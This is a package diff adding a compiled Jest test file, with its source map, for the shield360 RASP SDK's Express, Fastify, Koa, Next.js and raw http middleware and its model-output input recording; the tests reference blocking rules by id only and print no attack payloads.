shield360 1.1.0 → 1.2.0

package/dist/rasp/__tests__/middleware.test.js

@@ -0,0 +1,302 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * Middleware per framework: inputs recorded in the request's context (query,
+ * params, body, cookies, the input headers), virtual patches run before the
+ * handler, the block error mapped to the contract's 403. The frameworks are
+ * not dependencies of the SDK, so Express, Fastify and Koa are driven through
+ * their middleware signatures; raw http and Next.js use the real runtime.
+ */
+const http_1 = require("http");
+const context_1 = require("../context");
+const capture_1 = require("../capture");
+const engine_1 = require("../engine");
+const middleware_1 = require("../middleware");
+const model_output_1 = require("../model-output");
+const types_1 = require("../types");
+const vpatch_1 = require("../vpatch");
+const corpus_1 = require("./corpus");
+const exampleRule = vpatch_1.BUILT_IN_RULES.find((r) => r.example);
+const bodyRule = vpatch_1.BUILT_IN_RULES.find((r) => r.id === 'vp.react2shell');
+const exampleHeaders = (0, corpus_1.requestFor)(exampleRule).headers;
+const bodyShape = (0, corpus_1.requestFor)(bodyRule);
+const events = [];
+function setMode(vp, extra = {}) {
+    (0, engine_1.configureEngine)({ enabled: true, applicationName: 'orders-api', attacks: { virtual_patch: vp, ...extra }, env: {} });
+    (0, engine_1.setEventSink)({ add: (e) => events.push(e) });
+}
+const keys = () => {
+    const ctx = (0, context_1.currentContext)();
+    return ctx ? Object.fromEntries((0, context_1.inputsOf)(ctx).map((i) => [i.key, i.value])) : null;
+};
+beforeEach(() => {
+    events.length = 0;
+    setMode('monitor');
+});
+afterAll(() => {
+    (0, engine_1.setEventSink)(undefined);
+    (0, engine_1.configureEngine)({ enabled: false, applicationName: 'default', env: {} });
+});
+async function serve(handler) {
+    const server = (0, http_1.createServer)(handler);
+    await new Promise((r) => server.listen(0, '127.0.0.1', () => r()));
+    const { port } = server.address();
+    return { url: `http://127.0.0.1:${port}`, close: () => new Promise((r) => server.close(() => r())) };
+}
+async function readBody(req) {
+    let s = '';
+    for await (const chunk of req)
+        s += chunk;
+    return s;
+}
+const json = (res, status, body) => {
+    res.statusCode = status;
+    res.setHeader('Content-Type', 'application/json');
+    res.end(JSON.stringify(body));
+};
+describe('raw http', () => {
+    it('records query, cookies and the input headers in the request context only', async () => {
+        const s = await serve((0, middleware_1.raspHttp)((_req, res) => json(res, 200, keys())));
+        const res = await fetch(`${s.url}/items/42?q=${encodeURIComponent('hello world')}`, { headers: { cookie: 'sid=abc123; theme=dark', 'user-agent': 'test-agent/1', 'x-other': 'skip' } });
+        const got = await res.json();
+        await s.close();
+        expect(got['query.q']).toBe('hello world');
+        expect(got['cookie.sid']).toBe('abc123');
+        expect(got['header.user-agent']).toBe('test-agent/1');
+        expect(got['header.x-other']).toBeUndefined();
+        expect((0, context_1.currentContext)()).toBeUndefined();
+    });
+    it('a virtual patch in block mode answers 403 with the contract body; monitor lets it through', async () => {
+        setMode('block');
+        const s = await serve((0, middleware_1.raspHttp)((_req, res) => json(res, 200, { ok: true })));
+        const blocked = await fetch(`${s.url}/`, { headers: exampleHeaders });
+        expect(blocked.status).toBe(403);
+        expect(blocked.headers.get('content-type')).toBe('application/json');
+        const body = await blocked.json();
+        expect(body).toEqual({ error: types_1.BLOCK_MESSAGE, attack: 'virtual_patch', rule: exampleRule.id, event: events[0].attrs['shield360.rasp.event_id'] });
+        expect(events[0].attrs).toMatchObject({ 'shield360.rasp.decision': 'blocked', 'shield360.rasp.framework': 'http', 'shield360.rasp.sink': 'server.request' });
+        setMode('monitor');
+        const passed = await fetch(`${s.url}/`, { headers: exampleHeaders });
+        expect(passed.status).toBe(200);
+        expect(events[1].attrs['shield360.rasp.decision']).toBe('monitored');
+        await s.close();
+    });
+    it('recordRequestBody adds the body and runs the body rules (async handler)', async () => {
+        setMode('block');
+        const s = await serve((0, middleware_1.raspHttp)(async (req, res) => {
+            const text = await readBody(req);
+            (0, middleware_1.recordRequestBody)(text, req.headers['content-type']);
+            json(res, 200, keys());
+        }));
+        const ok = await fetch(`${s.url}/form`, { method: 'POST', headers: { 'content-type': 'application/x-www-form-urlencoded' }, body: 'name=Ana&city=Lisbon' });
+        expect((await ok.json())['body.city']).toBe('Lisbon');
+        const blocked = await fetch(`${s.url}/action`, { method: bodyShape.method, headers: bodyShape.headers, body: bodyShape.body });
+        expect(blocked.status).toBe(403);
+        expect((await blocked.json()).rule).toBe(bodyRule.id);
+        await s.close();
+    });
+    it('inactive: the handler runs with no context', async () => {
+        (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
+        const s = await serve((0, middleware_1.raspHttp)((_req, res) => json(res, 200, { ctx: keys() })));
+        expect(await (await fetch(`${s.url}/?q=x`, { headers: exampleHeaders })).json()).toEqual({ ctx: null });
+        await s.close();
+    });
+});
+describe('Express', () => {
+    // Express's order: query parser, then app.use() middleware, then routes, then error handlers.
+    function app(route, opts) {
+        const mw = (0, middleware_1.raspExpress)();
+        const onError = (0, middleware_1.raspExpressErrorHandler)();
+        return async (req, res) => {
+            req.originalUrl = req.url;
+            req.query = Object.fromEntries(new URL(req.url || '/', 'http://x').searchParams);
+            req.params = {};
+            const raw = await readBody(req);
+            if (opts.parseBodyBefore && raw)
+                req.body = JSON.parse(raw);
+            mw(req, res, (err) => {
+                if (err)
+                    return json(res, 500, {});
+                if (!opts.parseBodyBefore && raw)
+                    req.body = JSON.parse(raw);
+                try {
+                    route(req, res);
+                }
+                catch (e) {
+                    onError(e, req, res, () => json(res, 500, {}));
+                }
+            });
+        };
+    }
+    it('records the parsed query and body leaves (body parser first)', async () => {
+        const s = await serve(app((_req, res) => json(res, 200, keys()), { parseBodyBefore: true }));
+        const got = await (await fetch(`${s.url}/orders?sort=name`, { method: 'POST', body: JSON.stringify({ user: { name: "O'Brien" }, tags: ['a1', 'b2'] }) })).json();
+        await s.close();
+        expect(got).toMatchObject({ 'query.sort': 'name', 'body.user.name': "O'Brien", 'body.tags.0': 'a1' });
+    });
+    it('captures a body parsed after the middleware when a sink first reads the inputs', async () => {
+        const s = await serve(app((_req, res) => json(res, 200, keys()), { parseBodyBefore: false }));
+        const got = await (await fetch(`${s.url}/late`, { method: 'POST', body: JSON.stringify({ note: 'later' }) })).json();
+        await s.close();
+        expect(got['body.note']).toBe('later');
+    });
+    it('maps a block error from a route to 403 through the error handler', async () => {
+        const s = await serve(app(() => {
+            throw new types_1.RaspBlockedError('sql_injection', 'sqli.userinput', 'e'.repeat(32));
+        }, { parseBodyBefore: true }));
+        const res = await fetch(`${s.url}/x`);
+        await s.close();
+        expect(res.status).toBe(403);
+        expect(await res.json()).toEqual({ error: types_1.BLOCK_MESSAGE, attack: 'sql_injection', rule: 'sqli.userinput', event: 'e'.repeat(32) });
+    });
+    it('blocks a matching virtual patch before the route', async () => {
+        setMode('block');
+        let ran = false;
+        const s = await serve(app(() => (ran = true), { parseBodyBefore: true }));
+        const res = await fetch(`${s.url}/x`, { headers: exampleHeaders });
+        await s.close();
+        expect(res.status).toBe(403);
+        expect(ran).toBe(false);
+    });
+});
+describe('Fastify', () => {
+    function fastify() {
+        const hooks = {};
+        (0, middleware_1.raspFastify)({ addHook: (name, fn) => (hooks[name] = fn) }, {}, () => undefined);
+        return hooks;
+    }
+    function reply() {
+        const r = { status: 0, headers: {}, sent: undefined };
+        r.code = (n) => ((r.status = n), r);
+        r.header = (k, v) => ((r.headers[k] = v), r);
+        r.send = (b) => (r.sent = b);
+        return r;
+    }
+    it('is global (skip-override), captures in onRequest and preHandler, and the handler sees the context', async () => {
+        expect(middleware_1.raspFastify[Symbol.for('skip-override')]).toBe(true);
+        const hooks = fastify();
+        const request = { method: 'POST', url: '/users/7?expand=roles', headers: { 'user-agent': 'ua/1' }, query: { expand: 'roles' }, params: { id: '7' }, routeOptions: { url: '/users/:id' } };
+        const got = await new Promise((resolve) => {
+            hooks.onRequest(request, reply(), () => {
+                // Fastify parses the body between onRequest and preHandler.
+                setImmediate(() => {
+                    request.body = { profile: { bio: 'hello there' } };
+                    hooks.preHandler(request, reply(), () => resolve({ keys: keys(), route: (0, context_1.currentContext)()?.route }));
+                });
+            });
+        });
+        expect(got.keys).toMatchObject({ 'query.expand': 'roles', 'params.id': '7', 'header.user-agent': 'ua/1', 'body.profile.bio': 'hello there' });
+        expect(got.route).toBe('/users/:id');
+    });
+    it('answers 403 from onRequest for a blocking virtual patch, and from preHandler for a body rule', () => {
+        setMode('block');
+        const hooks = fastify();
+        const r1 = reply();
+        const next1 = jest.fn();
+        hooks.onRequest({ method: 'GET', url: '/', headers: exampleHeaders }, r1, next1);
+        expect(next1).not.toHaveBeenCalled();
+        expect(r1.status).toBe(403);
+        expect(JSON.parse(r1.sent).rule).toBe(exampleRule.id);
+        // A request with a body carries its length (without one, Fastify parses no body).
+        const request = { method: bodyShape.method, url: '/a', headers: { ...bodyShape.headers, 'content-length': String(Buffer.byteLength(bodyShape.body)) } };
+        hooks.onRequest(request, reply(), () => undefined);
+        request.body = bodyShape.body;
+        const r2 = reply();
+        const next2 = jest.fn();
+        hooks.preHandler(request, r2, next2);
+        expect(next2).not.toHaveBeenCalled();
+        expect(r2.status).toBe(403);
+    });
+    it('the block error carries statusCode 403 for the default error handler', () => {
+        expect(new types_1.RaspBlockedError('xxe', 'xxe.file', 'e').statusCode).toBe(403);
+    });
+});
+describe('Koa', () => {
+    const kctx = (over = {}) => ({ method: 'GET', url: '/', headers: {}, query: {}, request: {}, set: jest.fn(), ...over });
+    it('records inputs and runs downstream in the context, whatever the body parser order', async () => {
+        const mw = (0, middleware_1.raspKoa)();
+        const k = kctx({ method: 'POST', url: '/c?x=1', originalUrl: '/c?x=1', query: { x: '1' }, headers: { cookie: 'sid=s1' } });
+        let got;
+        await mw(k, async () => {
+            await new Promise((r) => setImmediate(r));
+            k.request.body = { comment: 'first!' };
+            got = keys();
+        });
+        expect(got).toMatchObject({ 'query.x': '1', 'cookie.sid': 's1', 'body.comment': 'first!' });
+    });
+    it('maps a virtual patch block and a downstream block error to 403', async () => {
+        setMode('block');
+        const mw = (0, middleware_1.raspKoa)();
+        const a = kctx({ headers: exampleHeaders });
+        const next = jest.fn(async () => undefined);
+        await mw(a, next);
+        expect(next).not.toHaveBeenCalled();
+        expect(a.status).toBe(403);
+        expect(a.body.rule).toBe(exampleRule.id);
+        const b = kctx();
+        await mw(b, async () => {
+            throw new types_1.RaspBlockedError('ssrf', 'ssrf.internal', 'f'.repeat(32));
+        });
+        expect(b.status).toBe(403);
+        await expect(mw(kctx(), async () => {
+            throw new Error('app error');
+        })).rejects.toThrow('app error');
+    });
+});
+describe('Next.js route handlers', () => {
+    it('records query, params and the JSON body; the handler can still read the body', async () => {
+        const handler = (0, middleware_1.withRasp)(async (request, context) => {
+            const body = await request.json();
+            return Response.json({ body, keys: keys(), id: (await context.params).id });
+        });
+        const res = await handler(new Request('http://localhost/api/orders/7?view=full', { method: 'POST', headers: { 'content-type': 'application/json', 'user-agent': 'next-test' }, body: JSON.stringify({ item: { sku: 'SKU-1' } }) }), { params: Promise.resolve({ id: '7' }) });
+        const got = await res.json();
+        expect(got.body).toEqual({ item: { sku: 'SKU-1' } });
+        expect(got.keys).toMatchObject({ 'query.view': 'full', 'params.id': '7', 'body.item.sku': 'SKU-1', 'header.user-agent': 'next-test' });
+    });
+    it('blocks the documented request shape of a body rule with a 403 Response', async () => {
+        setMode('block');
+        const handler = (0, middleware_1.withRasp)(async () => new Response('ran'));
+        const res = await handler(new Request('http://localhost/checkout', { method: bodyShape.method, headers: bodyShape.headers, body: bodyShape.body }), {});
+        expect(res.status).toBe(403);
+        expect((await res.json()).rule).toBe(bodyRule.id);
+    });
+    it('maps a block error thrown by the handler; other errors propagate', async () => {
+        const blocked = (0, middleware_1.withRasp)(async () => {
+            throw new types_1.RaspBlockedError('code_injection', 'code.eval', 'a'.repeat(32));
+        });
+        expect((await blocked(new Request('http://localhost/x'), {})).status).toBe(403);
+        const broken = (0, middleware_1.withRasp)(async () => {
+            throw new Error('app error');
+        });
+        await expect(broken(new Request('http://localhost/x'), {})).rejects.toThrow('app error');
+    });
+});
+describe('model output as input (instrumentation hook point)', () => {
+    const inRequest = (fn) => context_1.storage.run((0, capture_1.captureRequest)({ framework: 'http', method: 'POST', url: '/chat', headers: {} }), fn);
+    it('records completion fragments and tool-call argument leaves (OpenAI shape)', () => {
+        const got = inRequest(() => {
+            (0, model_output_1.recordModelResponse)({ choices: [{ message: { content: 'first line\nsecond line', tool_calls: [{ function: { name: 'run_query', arguments: JSON.stringify({ sql: 'select 1' }) } }] } }] });
+            return (0, context_1.inputsOf)((0, context_1.currentContext)());
+        });
+        expect(got.filter((i) => i.source === 'model_output').map((i) => [i.key, i.value])).toEqual([
+            ['model.completion', 'first line'],
+            ['model.completion', 'second line'],
+            ['model.tool.run_query.sql', 'select 1'],
+        ]);
+    });
+    it('records Anthropic text and tool_use input', () => {
+        const got = inRequest(() => {
+            (0, model_output_1.recordModelResponse)({ content: [{ type: 'text', text: 'hello' }, { type: 'tool_use', name: 'fetch_page', input: { url: 'https://example.com' } }] });
+            return (0, context_1.inputsOf)((0, context_1.currentContext)()).map((i) => i.key);
+        });
+        expect(got).toEqual(['model.completion', 'model.tool.fetch_page.url']);
+    });
+    it('records nothing when RASP is off or modelOutput is false', () => {
+        (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', modelOutput: false, env: {} });
+        expect(inRequest(() => ((0, model_output_1.recordModelResponse)({ content: [{ type: 'text', text: 'x' }] }), (0, context_1.currentContext)().inputs.length))).toBe(0);
+        (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
+        expect(inRequest(() => ((0, model_output_1.recordModelResponse)({ content: [{ type: 'text', text: 'x' }] }), (0, context_1.currentContext)().inputs.length))).toBe(0);
+    });
+});
+//# sourceMappingURL=middleware.test.js.map

package/dist/rasp/__tests__/middleware.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"middleware.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/middleware.test.ts"],"names":[],"mappings":"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